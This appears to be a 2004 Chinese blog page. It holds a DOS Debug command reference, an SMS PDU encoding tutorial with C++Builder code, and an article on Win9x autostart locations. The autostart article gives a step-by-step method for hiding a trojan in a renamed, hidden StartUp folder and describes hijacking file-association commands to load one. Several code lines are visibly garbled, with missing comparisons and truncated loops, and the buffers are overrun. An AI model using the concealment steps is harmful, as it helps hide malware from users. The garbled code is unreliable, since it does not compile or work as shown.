指定 Debug 启动跟踪指令的地址。如果省略 address 参数,跟踪将从程序的 CS:IP 寄存器所指定的地址开始。有关 address 参数有效值的信息,请单击“相关主题”列表中的 Debug。
number
指定要跟踪的指令数。该值必须是十六进制数。默认值为 1。
有关执行循环、重复的字符串指令、软件中断或子例程的信息,请单击“相关主题”列表中的 Debug P(执行)。
有关执行当前内存中程序的信息,请单击“相关主题”列表中的 Debug G(转向)。
++
范例
要执行一个指令(CS:IP 指向的指令),然后显示寄存器的内容、标志的状态以及指令的解码形式,请键入以下命令:
t
如果程序中的指令位于 04BA:011A,Debug 可能显示下列信息:
AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A NV UP DI NG NZ AC PE NC
04BA:011A CD21 INT 21
++
说明
跟踪只读内存中的指令
t 命令使用 8086 或 8088 微处理器的硬件跟踪模式。因此,也可以跟踪存储在只读内存 (ROM) 中的指令。
使用地址参数
必须在 address 参数之前使用等号 (=) 以便将它与 number 参数区分。
++++
Debug:U(反汇编)
反汇编字节并显示相应的原语句,其中包括地址和字节值。反汇编代码看起来象已汇编文件的列表。
u [range]
参数

如果在没有参数的情况下使用,则 u 命令分解 20h 字节(默认值),从前面 u 命令所显示地址后的第一个地址开始。
range
指定要反汇编代码的起始地址和结束地址,或起始地址和长度。有关 range 参数有效值的信息,请单击“相关主题”列表中的 Debug。
有关集成记忆码的信息,请单击“相关主题”列表中的 Debug A(汇编)。
有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D(转储)。
++
范例
要反汇编 16 (10h) 字节,从地址 04BA:0100 开始,请键入以下命令:
u04ba:100l10
Debug 按以下格式显示结果:
04BA:0100 206472 AND [SI+72],AH
04BA:0103 69 DB 69
04BA:0104 7665 JBE 016B
04BA:0106 207370 AND [BP+DI+70],DH
04BA:0109 65 DB 65
04BA:010A 63 DB 63
04BA:010B 69 DB 69
04BA:010C 66 DB 66
04BA:010D 69 DB 69
04BA:010E 63 DB 63
04BA:010F 61 DB 61
如果只显示从 04BA:0100 到 04BA:0108 特定地址的信息,请键入以下命令:
u04ba:0100 0108
Debug 显示以下内容:
04BA:0100 206472 AND [SI+72],AH
04BA:0103 69 DB 69
04BA:0104 7665 JBE 016B
04BA:0106 207370 AND [BP+DI+70],DH
++++
Debug:W(写入)
将文件或特定分区写入磁盘。
要将在 BX:CX 寄存器中指定字节数的内容写入磁盘文件,请使用以下语法:
w [address]
要略过 Windows 2000 文件系统并直接写入特定的扇区,请使用以下语法:
w address drive start number
参数
address
指定要写到磁盘文件的文件或部分文件的起始内存地址。如果不指定 address,Debug 程序将从 CS:100 开始。关于 address 参数有效值的信息,请在“相关主题”列表中单击 Debug。
drive
指定包含目标盘的驱动器。该值是数值型:0 = A, 1 = B, 2 = C,等等。
start
指定要写入第一个扇区的十六进制数。
number
指定要写入的扇区数。
有关指定用于 w 命令的文件的信息,请单击“相关主题”列表中的 Debug N(名称)。
有关将文件或文件扇区内容加载到内存中的信息,请单击“相关主题”列表中的 Debug L(加载)。
范例
假定要将起始地址为 CS:100 的内存内容写入到驱动器 B 的磁盘中。需要将数据从磁盘的逻辑扇区号 37h 开始并持续 2Bh 个扇区。为此,键入以下命令:
wcs:100 1 37 2b
当写操作完成时,Debug 再次显示 Debug 提示符。
++
说明
必须在启动 Debug 时或者在最近的 Debug n(名称)命令中指定磁盘文件的名字。这两种方法都可以将地址 CS:5C 处文件控制块的文件名正确地编排格式。
在使用不带参数的 w 命令之前重新设置 BX:CX
如果使用了 Debug g(转向)、t(跟踪)、p(执行)或 r(寄存器)命令,必须在使用无参数的 w 命令之前,将 BX:CX 寄存器复位。
将修改后的文件写入磁盘
如果修改文件但不更改文件名、长度或起始地址,Debug 仍然可以正确地将文件写入源磁盘位置。
w 命令的限制
不能用该命令写入 .exe 或 .hex 文件。
警告
· 因为略过 Windows 2000 文件句柄,所以写入特定的分区非常危险。如果键入错误的值,则磁盘文件结构很容易被损坏。
++++
Debug:XA(分配扩展内存)
分配扩展内存的指定页面数。
要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。
xa [count]
参数
count
指定要分配的扩展内存的 16KB 页数。
有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XD(释放扩展内存)、XM(映射扩展内存页)或 XS(显示扩展内存状态)。
++
范例
要分配扩展内存的 8 个页面,请键入以下命令:
xa8
如果命令成功,Debug 将显示类似的以下消息:
Handle created=0003
++
说明
如果指定的页面数可用,则 Debug 将显示消息,此消息表明所创建的句柄的十六进制数;否则,Debug 将显示错误消息。
++++
Debug:XD(释放扩展内存)
释放指向扩展内存的句柄。
要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。
xd [handle]
参数
handle
指定要释放的句柄。
有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中 XA(分配扩展内存)、XM(映射扩展内存页) 或 XS(显示扩展内存状态)。
++
范例
要释放句柄 0003,请键入以下命令:
xd 0003
如果命令成功,Debug 将显示下列消息:
Handle 0003 deallocated
++++
Debug:XM(映射扩展内存页)
将属于指定句柄的扩展内存逻辑页映射到扩展内存的物理页。
要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。
xm [lpage] [ppage] [handle]
参数
lpage
指定要映射到物理页 ppage 的扩展内存的逻辑页面号。
ppage
指定将 lpage 映射到的物理页面号。
handle
指定句柄。
有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XA(分配扩展内存)、XD(释放扩展内存)或 XS(显示扩展内存)。
++
范例
要将句柄 0003 的逻辑页 5 映射到物理页 2,请键入以下命令:
xm 5 2 0003
如果命令成功,Debug 将显示下列消息:
Logical page 05 mapped to physical page 02
++++
Debug:XS(显示扩展内存状态)
显示有关扩展内存状态的信息。
要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。
xs
参数
该命令不带参数。
有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XA(分配扩展内存)、XD(释放扩展内存)或 XM(映射扩展内存页)。
++
范例
要显示扩展内存信息,请键入以下命令:
xs
Debug 显示与以下类似的信息:
Handle 0000 has 0000 pages allocated
Handle 0001 has 0002 pages allocated

Physical page 00 = Frame segment C000
Physical page 01 = Frame segment C400
Physical page 02 = Frame segment C800
Physical page 03 = Frame segment CC00
2 of a total 80 EMS pages have been allocated
2 of a total FF EMS handles have been allocated
++
说明
Debug 显示的信息有如下格式:
Handle xx has xx pages allocated
Physical page xx = Frame segment xx
xx of a total xx EMS pages have been allocated
xx of a total xx EMS handles have been allocated
++++
***********************Debug子命令完******************************
shelly 发表于  2004-02-25 23:19:04


   关于SMS短消息编码I    |   阅读全文   |   评论(0)  |  引用(trackback1)  

1、  英文编码
缺省的GSM字符集为7位编码,ASCII码为8位编码,编码就是将8位ASCII编码转换为7位编码。
例如:1234 编码后得到31D98C06
2进制表示
8位编码 00110001 00110010 00110011 00110100
7位编码 00110001 11011001 10001100 00000110
通过例子可以看出,将ascii8位编码的Bit8去掉,依次将下7位编码的后几位逐次移到前面,形成新的8位编码。
以下是C++Builder的实现代码:
String __stdcall EncodeEnglish(String InputStr)
{
       int n,len,cur;
       String tempstr,returnstr;
       unsigned char mid1[2],mid2[2];
       len=InputStr.Length();
       n=0;
       for(int i=1;i<=len;i++)
       {
          if (i           {
            strcpy(mid1,InputStr.SubString(i,1).c_str());
            strcpy(mid2,InputStr.SubString(i+1,1).c_str());
            cur=(mid1[0]>>n)|((mid2[0]<<(7-n))& 0xff);
          }
          else
          {
            strcpy(mid1,InputStr.SubString(i,1).c_str());
            cur=(mid1[0]>>n)& 0x7f;
          }
          FmtStr(tempstr,"%2.2X",ARRAYOFCONST((cur)));
          returnstr=returnstr+tempstr;
          n=(n+1)%7;
          if (n==0)
                  i++;
            }
return returnstr;
}

2、  英文解码

简单地说就是将7位字符编码转换为8为字符编码
以下是C++Builder的实现代码:
int ReturnHex(int value)
{
       switch (value)
       {
         case 0:
               value=0x7f;
               break;
         case 1:
               value=0x3f;
               break;
         case 2:
               value=0x1f;
               break;
         case 3:
               value=0x0f;
               break;
         case 4:
               value=0x07;
               break;
         case 5:
               value=0x03;
               break;
         case 6:
               value=0x01;
               break;
         case 7:
               value=0x00;
               break;
       }
       return value;
}
String __stdcall DecodeEnglish (String InputStr)
{
       unsigned char InStr[300];
       char OutStr[300];
       String str;
       int j=0,i=0;
       int Point=0;
       int temp;
       memset(InStr,0,301);
       memset(OutStr,0,301);
       for(int i=0;i        {
               str="0x"+InputStr.SubString(i+1,2);
               InStr[i/2]=StrToInt(str);
       }
       while(j<=InputStr.Length()/2)
       {
               if(Point==0)
                       OutStr[i]=InStr[j]&ReturnHex(Point);
               else
OutStr[i]=((InStr[j]&ReturnHex(Point))<>(8-Point));
               if(Point%7==0&&Point!=0)
                       Point=0;
               else
                       Point=Point+1;
               i++;
               j=i-(i/8);

      }
       OutStr[12]=((InStr[12]&0x07)<<5)|(InStr[11]>>(8-5));
       return AnsiString(OutStr);
}

3、  中文编码

中文编码较为简单,就是将GB2312的中文编码转换为代码页为CP936的Unicode编码即可
以下是C++Builder的实现代码
String  EncodeChinese(String InputStr)
{
        int cur;
 String tempstr,returnstr;
 WideString ws;
 wchar_t  mid[2];
 ws=WideString(InputStr);
for(int i=1;i<=ws.Length();i++)
{
wcscpy(mid,ws.SubString(i,1).c_bstr());
cur=mid[0];
FmtStr(tempstr,"%4.4X",ARRAYOFCONST((cur)));
returnstr=returnstr+tempstr;
}
return returnstr;
}

4、  中文解码

将代码页为CP936的Unicode编码转换为GB2312的中文编码即可
以下是C++Builder的实现代码
String  DecodeChinese(String InputStr)
{
       wchar_t Buf[300];
       for(int i=0;i        {
               Buf[i/4]=StrToInt("0x"+InputStr.SubString(i+1,4));
       }
       Buf[InputStr.Length()/4]=0;
       return WideCharToString(Buf);
}

作者 :不详

shelly 发表于  2004-02-24 11:33:36


   关于手机SMS短消息    |   阅读全文   |   评论(2)  |  引用(trackback1)  

SMS是由Etsi所制定的一个规范(GSM 03.40 和 GSM 03.38)。它可以发送最多160个字符,当使用7-bits编码的时候。8-bit编码(最多140个字符)通常无法直接通过手机显示;通常被用来作为数据消息,例如:smart messaging中的图片和铃声)和OTA WAP设置。16-bit信息(最多70个字符)被用来显示Unicode(UCS2)文本信息,可以被大多数的手机所显示。一个以class 0 开头的16-bit的文本信息将在某些手机上作为Flash SMS显示(闪烁的SMS和警告SMS)。
有两种方式来发送和接收SMS信息:使用文本模式或者使用PDU(protocol description unit) 模式。文本模式(可能某些手机不支持)实际上也是一种PDU编码的一种表现形式。在显示SMS信息,可能使用不同的字符集和不同的编码方式。最常见的选择是"PCCP437", "PCDN", "8859-1", "IRA" 和 "GSM". 这些都通过读取应用程序的at-command中的AT+CSCS指定。如果你想阅读手机上的信息,手机会为你选择一种合适的编码。那么一个可以阅读SMS消息的应用要么使用test模式,要么是PDU模式。如果使用text模式,那么应用将绑定(或限制在)一些可能的编码选择中。在某些情况下是不够的,如果使用PDU模式,那么就可以使用任何编码方式。
2.接收
PDU串不仅仅 包含了消息,而且还有很多发送者的元信息,他的SMS服务中心,时间标志等等。这些都是以8位字节的16进制数,或者半8位字节的十进制数。以下的字符书我从Nokia 6110 收到的信息,当从www.mtn.co.za发送的串是"hellohello"的时候。 07 917238010010F5 040BC87238880900F100009930925161958003C16010 ,这个八位串包含了三个部分:第一个8位表示SMSC信息的长度("07"),SMSC的信息 ("917238010010F5"),和SMS_DELIVER部分(GSM 03.40中指定)。
注意: 有些手机(例如:Ericssson 888?)头三个部分(被着色)在PDU模式下被省略。
8位 描述
07 SMSC信息的长度。(在这个例子里是7个八位)
91 SMSC的地址类型 (91意味着国际格式的电话号码)
72 38 01 00 10 F5 服务中心号码(半八位的十进制数)电话号码是一个奇数(11),因此加入F来保证8位。这个服务中心的号码是"+27381000015"
04 SMS_DELIVER的第一个8位。
0B 地址长度。发送号码的长度(0B hex = 11 dec)
C8 发送号码的地址类型
72 38 88 09 00 F1 发送号码(半八位的十进制数),有一个F结尾。
00 TP-PID.协议标识
00 TP-DCS 编码方式
99 30 92 51 61 95 80 TP-SCTS.时间邮戳(半8位)
0A TP-UDL.用户数据长度,信息的长度。TP-DCS域表明是7-bit格式的数据。因此长度在这里是一个10个7-bits。如果TP-DCS被设置成8-bit或者Unicode,那么长度就应该是9个八位长度。
E8329BFD4697D9EC37 TP-UD. 7-bit编码的信息。
所有的8位都是16进制编码,除了服务中心号码,发送号码和时间邮戳;他们都是十进制的半8位编码。在PDU串的结尾部分包含了一些16进制的8-bits数据,但他们实际7-bits数据。
十进制的半8位只需要将高位和地位交换就可以得到实际的数值。例如:"72 38 88 09 00 F1" 到 "27 83 88 90 00 1F"。因为电话号码是一个奇数,没有办法组成8位编码,所以使用F来补齐。在解析时间邮戳的时候("99 03 29 15 16 59 08"),前6位代表日期,后6位代表时间,最后2位是时区。
3.Flash SMS
在某些手机上(所有的Nokias,某些Siemens, Ericsson, Motorola 等等..)class 0信息将被显示为一种flash SMS信息。这些信息只要一到达,将立即显示在屏幕上,而不需要按任何按钮。如果数据的编码方式是设置成16-bit unicode (ucs2), 而且信息以"0001"开头,那么它将作为一个闪烁的flash message显示。

Octet Value Description
TP-DCS 18 16 bits (UCS2), message class 0
TP-VP AA Validity period
TP-UDL 0C User Data Length, 12 octets
TP-UD 00 01 00 41 00 6C 00 65 00 72 00 74 User Data, message "Alert"
这个表显示了Flash SMS中的相关信息。
第一个unicode字符("00 01")使能闪烁。这样的消息最长就是69个unicode字符。
4.Nokia ICON
这是一个OTA (On The Air) bitmap.
这个文件是从Nokia论坛下载而来。在"Smart Messaging"连接中。
PDU
type 44
RP:0 (no reply path)
UDHI:1 (UD begins with a header)
SRI:0 (no status report will be returned)
MMS:1 (no more messages)
MTI:00 (SMS-deliver)
OA 0B
91
6302752852F1
length:11 digit
type: international,E.164/E.163
number: 36 20 5782251
PID 00
PDU content: short message
DCS F5
data coding: 8 bit
message class: 1
SCTS 991012
114343
40
date: 99/01/21
time: 11:34:34
timezone: GMT+1
UDL 89
137 octets
UD UDH 06
05
04
1583
1583
length of header: 6 octets
information element type: NBS port addressing
information element length: 4 octets
destination port: CLI icon
source port: CLI icon
OTA bitmap
hdr 00
48
0E
01
infofield: last octet, no compression,
no palette, 8 bit, 0 animated icons
width: 72 pixel
height: 14 pixel
depth: 1 ?
image

data
3FF00110005B0001E8
7FF802A801A500021C
3FF80C470101000408
7FF808010081001C04
3FF008150081001304
7E10183F0058803A84
7DF030490064802C9C
7E501855002D80473C
3AD0082A8058404218
39B005010060C04930
105005BE0042203220
1A1007620046600C40
09E001BB003B900840
042000960001080EA0

5.7Bit编码
"hellohello"包含了10个字符,他们必须一个个将用7-bits来代表。
h e l l o h e l l o
104 101 108 108 111 104 101 108 108 111
1101000 1100101 1101100 1101100 1101111 1101000 1100101 1101100 1101100 1101111
1101000
110010 1
11011 00
1101 100
110 1111
11 01000
1 100101
1101100
1101100
110111 1

 

首先将字符转换为7位的二进制,然后,将后面字符的位调用到前面,补齐前面的差别。例如:h翻译成1101000,e翻译成1100101,显然h的二进制编码不足八位,那么就将e的最后一位补足到h的前面。那么就成了11101000(E8)。剩余地编码看下表:

1 1101000
00 110010
100 11011
1111 1101
01000 110
100101 11
1101100 1

1 1101100
110111
E8 32 9B FD 46 97 D9
EC 37


那么就变成了9个八进制数 E8 32 9B FD 46 97 D9 EC 37。
6.错误信息
错误编码 意义
0-127 GSM 04.11 Annex E-2 values
128-255 GSM 03.40 section 9.2.3.22 values
300 Phone failure
301 SMS service of phone reserved
302 Operation not allowed
303 Operation not supported
304 Invalid PDU mode parameter
305 Invalid text mode parameter
310 SIM not inserted
311 SIM PIN necessary
312 PH-SIM PIN necessary
313 SIM failure
314 SIM busy
315 SIM wrong
320 Memory failure
321 Invalid memory index
322 Memory full
330 SMSC (message service center) address unknown
331 No network service
332 Network timeout
500 Unknown error
512 Manufacturer specific

shelly 发表于  2004-02-23 10:38:26


   Win9x 中程序自启动的种种方式    |   阅读全文   |   评论(0)  |  引用(trackback1)  

前言:
有时候人们往往会为了一个程序的启动而头痛,因为一些用户往往不知道那些文件是如何启动的。所以经常会有些没用的东西挂在系统上占用资源。有时候也会有人因为不知道如何启动某个文件而头痛。更有些特洛依木马的作者因为不清楚系统的自启动方式而使自己的木马轻松被别人发现……
Windows的自启动方式其实有许多方式。除了一些常见的启动方式之外,还有一些非常隐蔽的可用来启动文件的方式。本文总结如下,虽然不是全部,但我想应该会对大家有所帮助。文章全部以系统默认的状态为准,以供研究。
其中(English)代表英文操作系统,(Chinese)代表中文操作系统。本文没加说明说的全为中文Windows98操作系统。
警告:
文中提及的一些操作可能会涉及到系统的稳定性。例如如果不正确地使用注册表编辑器可以导致可能重新安装系统这样严重的问题。微软也不能保证因不正常使用注册表编辑器而造成的结果可以被解决。笔者不对使用后果负责,请根据自己的情况使用。
Windows的自启动方式: 注册表的基本使用
1.自启动目录:
1.第一自启动目录:
默认路径位于:
C:\windows\start menu\programs\startup(English)
C:\windows\start menu\programs\启动(Chinese)
这是最基本、最常用的Windows启动方式,主要用于启动一些应用软件的自启动项目,如Office的快捷菜单。一般用户希望启动时所要启动的文件也可以通过这里启动,只需把所需文件或其快捷方式放入文件夹中即可。
对应的注册表位置:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Startup="%Directory%"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Startup="%Directory%"
其中“%Directory%”为启动文件夹位置。
英文默认为:
C:\windows\start menu\programs\startup
中文默认为:
C:\windows\start menu\programs\启动
在开始菜单的“启动”文件夹是可更改的,如果用户更改了启动文件夹,则以上注册表的键值均会改变为相应的名称。
值得注意的是:开始菜单的“启动”文件夹中的内容虽然在默认的状态下可以被用户看得一清二楚。但通过改动还是可以达到相当隐蔽地启动的目的的:
首先,“启动”文件夹中的快捷方式或其他文件的属性可以改变为“隐藏”。这样可以达到系统不启动被隐藏的文件,等到需要启动的时候又可以通过更改回文件属性而恢复启动的作用。
其次,其实“启动”文件夹只是一个普通的文件夹,但是由于系统监视了这个文件夹,所以变得有些特殊,但文件夹有的功能该文件夹也是有的。譬如“启动”文件夹的名称是可以更改的,并且“启动”文件夹也可以设置属性。如果把属性设置为“隐藏”,则在系统中的【开始】&#61672;;【程序】菜单中是看不到“启动”文件夹的(即使在“文件夹选项”中已经设定了“显示所有文件”)。而系统还会启动这个被隐藏的文件夹中的非隐藏文件。
敏感的人们也许已经发现问题。举一个例子:
如果我想启动A木马的server端服务器,我可以把原来的“启动”菜单的名称更改为“StartUp”(这里是随便改的,注册表相应的键值也会自动更改。)之后再创建一个名为“启动”的文件夹,把“StartUp”菜单中的文件全部复制(这里用复制,可以骗过用户的检查)到“启动”菜单中,然后把A木马的server程序放入“StartUp”文件夹中,最后把“StartUp”文件夹隐藏。大功告成!
从外表看来,用户的【开始】&#61672;;【启动】目录还在,而且要启动的文件也在。但系统此时启动的文件不是名为“启动”的文件夹中的文件,而是名为“StartUp”的文件夹中的文件。如果木马做的好的话,完全可以在每次启动的时候把“StartUp”中的文件复制到“启动”目录中来达到实时更新启动目录的目的。由于“StartUp”文件夹被隐藏,从【开始】&#61672;;【程序】中是无法看到真正的启动菜单“StartUp”的,所以达到了隐蔽启动的目的!
这个启动方式虽然比较隐蔽,但通过msconfig依旧可以在“启动”页中看出来。
2.第二自启动目录:
是的,其实,Windows还有另外一个自启动目录,而且很明显但却经常被人们忽略的一个。
该路径位于:
C:\WINDOWS\All Users\Start Menu\Programs\StartUp(English)
C:\WINDOWS\All Users\Start Menu\Programs\启动(Chinese)
这个目录的使用方法和第一自启动目录是完全一样的。只要找到该目录,将所需要启动的文件拖放进去就可以达到启动的目的。
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\User Shell Folders]
"Common Startup"="%Directory%"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders]
"Common Startup"="%Directory%"
值得注意的是:该目录在开始菜单的“启动”目录中是完全不能被看见的。而伴随着每次启动,该目录下的非隐藏文件也会随之启动!
另外,在Msconfig中可以看到在这个目录下要启动的文件。


2.系统配置文件启动:
由于系统的配置文件对于大多数的用户来说都是相当陌生的;这就造成了这些启动方法相对来说都是相当隐蔽的,所以这里提到的一些方法常常会被用于做一些破坏性的操作,请读者注意。
1.WIN.INI启动:
启动位置(file.exe为要启动的文件名称):

[windows]
load=file.exe
run=file.exe
注意:load=与run=的区别在于:通过load=运行文件,文件会在后台运行(最小化);而通过run=来运行,则文件是在默认状态下被运行的。
2.SYSTEM.INI启动:
启动位置(file.exe为要启动的文件名称):
默认为:
[boot]
Shell=Explorer.exe
可启动文件后为:
[boot]
Shell=Explorer.exe file.exe
说明:
笔者记得在诺顿先生(就是开发出Norton系列软件的人)写的一本书里面曾经说过,1、2这两个文件的有无对系统没有什么影响,但由于时间的关系,笔者没有来得及试验,有兴趣者可以试一试。
不过有一点是可以肯定的,这样的启动方式往往会被木马或一些恶作剧程序(如,妖之吻)利用而导致系统的不正常。由于一般用户很少会对这两个文件关心,甚至有的人不知道这些文件是做什么用的,所以隐蔽性很好。但由于其使用的越来越频繁,这种启动方式也被渐渐的察觉了。用户可以使用msconfig这个命令实现检查是否有什么程序被加载。具体的是在看是菜单中的“运行”中输入msconfig回车,之后按照文字说明即可。
注意:
1.    和WIN.INI文件不同的是,SYSTEM.INI的启动只能启动一个指定文件,不要把Shell=Explorer.exe file.exe换为Shell=file.exe,这样会使Windows瘫痪!
2.    这种启动方式提前于注册表启动,所以,如果想限制注册表中的文件的启动,可是使用这种方法。
3.WININIT.INI启动:
Wininit.ini这个文件也许很多人不知道,一般的操作中用户也很少能直接和这个文件接触。但如果你编写过卸载程序的话,也许你会知道这个文件。
WinInit即为Windows Setup Initialization Utility。翻译成中文就是Windows安装初始化工具。这么说也许不明白,如果看到如下提示信息:
Please wait while Setup updates your configuration files.
This may take a few minutes...
大家也许就都知道了!这个就是Wininit.ini在起作用!
由于在Windows下,许多的可执行文件和驱动文件是被执行到内存中受到系统保护的。所以在Windows的正常状态下更改这些文件就成了问题,因此出现了Wininit.ini这个文件来帮助系统做这件事情。它会在系统装载Windows之前让系统执行一些命令,包括复制,删除,重命名等,以完成更新文件的目的。Wininit.ini文件存在于Windows目录下,但在一般时候我们在C:\Windows目录下找不到这个文件,只能找到它的exe程序Wininit.exe。原因就是Wininit.ini在每次被系统执行完它其中的命令时就会被系统自动删除,直到再次出现新的Wininit.ini文件……之后再被删除。
文件格式:
[rename]
file1=file2
file1=file2的意思是把file2文件复制为文件名为file1的文件,相当于覆盖file1文件。
这样启动时,Windows就实现了用file2更新file1的目的;如果file1不存在,实际结果是将file2复制并改名为file1;如果要删除文件,则可使用如下命令:
[rename]
nul=file2  
这也就是说把file2变为空,即删除的意思。
以上文件名都必须包含完整路径。
注意:1.由于Wininit.ini文件处理的文件是在Windows启动以前处理的,所以不支持长文件名。
2.以上的文件复制、删除、重命名等均是不提示用户的情况下执行的。有些病毒也会利用这个文件对系统进行破坏,所以用户如果发现系统无故出现:
Please wait while Setup updates your configuration files.
This may take a few minutes...
那么也许系统就有问题了。
3. 在Windows 95 Resource Kit中提到过Wininit.ini文件有三个可能的段,但只叙述了[rename]段的用法。
4.WINSTART.BAT启动:
这是一个系统自启动的批处理文件,主要作用是处理一些需要复制、删除的任务。譬如有些软件会在安装或卸载完之后要求重新启动,就可以利用这个复制和删除一些文件来达到完成任务的目的。如:
“@if exist C:\WINDOWS\TEMP\PROC.BAT call C:\WINDOWS\TEMP\PROC.BAT”
这里是执行PROC.BAT文件的命令;
“call filename.exe > nul”
这里是去除任何在屏幕上的输出。
值得注意的是WinStart.BAT文件在某种意义上有和AUTOEXEC.BAT一样的作用。如果巧妙安排完全可以达到修改系统的目的!
5.AUTOEXEC.BAT启动:
这个就没的说了,应该是用户再熟悉不过的系统文件之一了。每次重新启动系统时在DOS下启动。恶意的程序往往会利用这个文件做一些辅助的措施。
不过,在AUTOEXEC.BAT文件中会包含有恶意代码。如format c: /y等;由于BAT恶意程序的存在,这个机会大大地增加了。譬如最近很流行的SirCam蠕虫也利用了Autoexec.bat文件。
说明:
4、5这两个文件都是批处理文件,其作用往往不能完全写出来,因为批处理的用处在DOS时代的应用太广泛,它的功能相对来说也是比较强大。想利用这两个文件,需要对DOS有一定的了解。.
3.注册表启动:
注册表中的启动应该是被使用最频繁的启动方式,但这样的方式也有一些隐蔽性较高的方法,大致有三种。
1.常规启动:
其中\%path%\为任意路径,file.exe为要运行的程序。
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
"Anything"="\%path%\file.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
"Anything"="\%path%\file.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"Anything"="\%path%\file.exe"
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"Anything"="\%path%\file.exe"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
   "Whatever"="c:\runfolder\program.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
   "Whatever"="c:\runfolder\program.exe"
注意:
1.如果需要运行.dll文件,则需要特殊的命令行。
如:
Rundll32.exe C:\WINDOWS\FILE.DLL,Rundll32
2.解除这里相应的自启动项只需删除该键值即可,但注意不要删除如SystemTray、ScanRegistry等这样的系统键值。
3.如果只想不启动而保留键值,只需在该键值加入rem即可。如:
“rem  C:\Windows\a.exe”
4.在注册表中的自启动项中没有这项:
[HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\RunServices]
5.Run和RunServices的区别在于:Run中的程序是在每次系统启动时被启动,RunServices则是会在每次登录系统时被启动。
关于:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]
有特殊的语法:
例如,运行notepad.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
"Title"="My Setup Title"
"Flag"=dword:00000002

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001
"RunMyApp"="||notepad.exe"
语法为:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
Flags = 0x0000000
Title = "Status Dialog Box Title"

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\Depend
0001 = "xxx1"
000X = "xxxx"

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001
Entry1 = "MyApp1.exe"
EntryX = "MyApp2.exe"

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\000x
...
注意:
1.“xxx1,xxxx”是一个动态链接库(DLL)或.OCX文件名(如My.ocx或My.dll)。
2.“0001,000x”是部分名字。可以是数字和文字。
3.“entry1,entryX”是指向一个要运行的程序文件的注册表串值。
键值的说明:
Flags是一个定位在RunOnceEx键用来激活/禁止的DWORD值,具体如下:
值    功能    功能定义
0x00000000    默认    所有功能被禁止
0x00000004    检查壳状况    打开壳的读写校验准备接受OLE命令
0x00000008    无报错对话    错误对话框不显示
0x00000010    创建错误报告文件    创建 C:\Windows\RunOnceEx.err 文件如果有错误出现
0x00000020    创建执行报告文件    创建一个有命令状态的C:\Windows\RunOnceEx.log文件
0x00000040    无例外限制    当注册DLL时不限制例外
0x00000080    无状态对话    当RunOnceEx运行时状态对话框不显示

由于涉及篇幅较多,具体做法请浏览微软网页:
http://support.microsoft.com/support/kb/articles/Q232/5/09.ASP

2.特殊启动1:
在注册表中除了上述的普通的启动方式以外,还可以利用一些特殊的方式达到启动的目的:
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\htafile\shell\open\command] @="%1" %*
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\shell\open\command] @= "%1" %*
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="%1" %*

其实从注册表的路径上也许就隐约可以看出,这些都是一些经常被执行的可执行文件的键值。往往有些木马是可以更改这些键值从而达到加载的目的:
如果我把“”%1”%*”改为“file.exe”%1”%*”则文件file.exe就会在每次执行某一个类型的文件(要看改的是哪一个文件类型)的时候被执行!
当然,可以被更改的不一定只是可执行文件,譬如冰河就利用了TXT文件的键值:
[HKEY_CLASSES_ROOT\txtfile\shell\open\command]实现木马的一种启动方式。
3.特殊启动2:
在注册表中:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\
的位置上有这样的地址。该地址是系统启动VxD驱动文件放置的地址,就像PrettyPark这个蠕虫一样,可以建立一个主键之后把VxD文件添加到注册表中在这里。
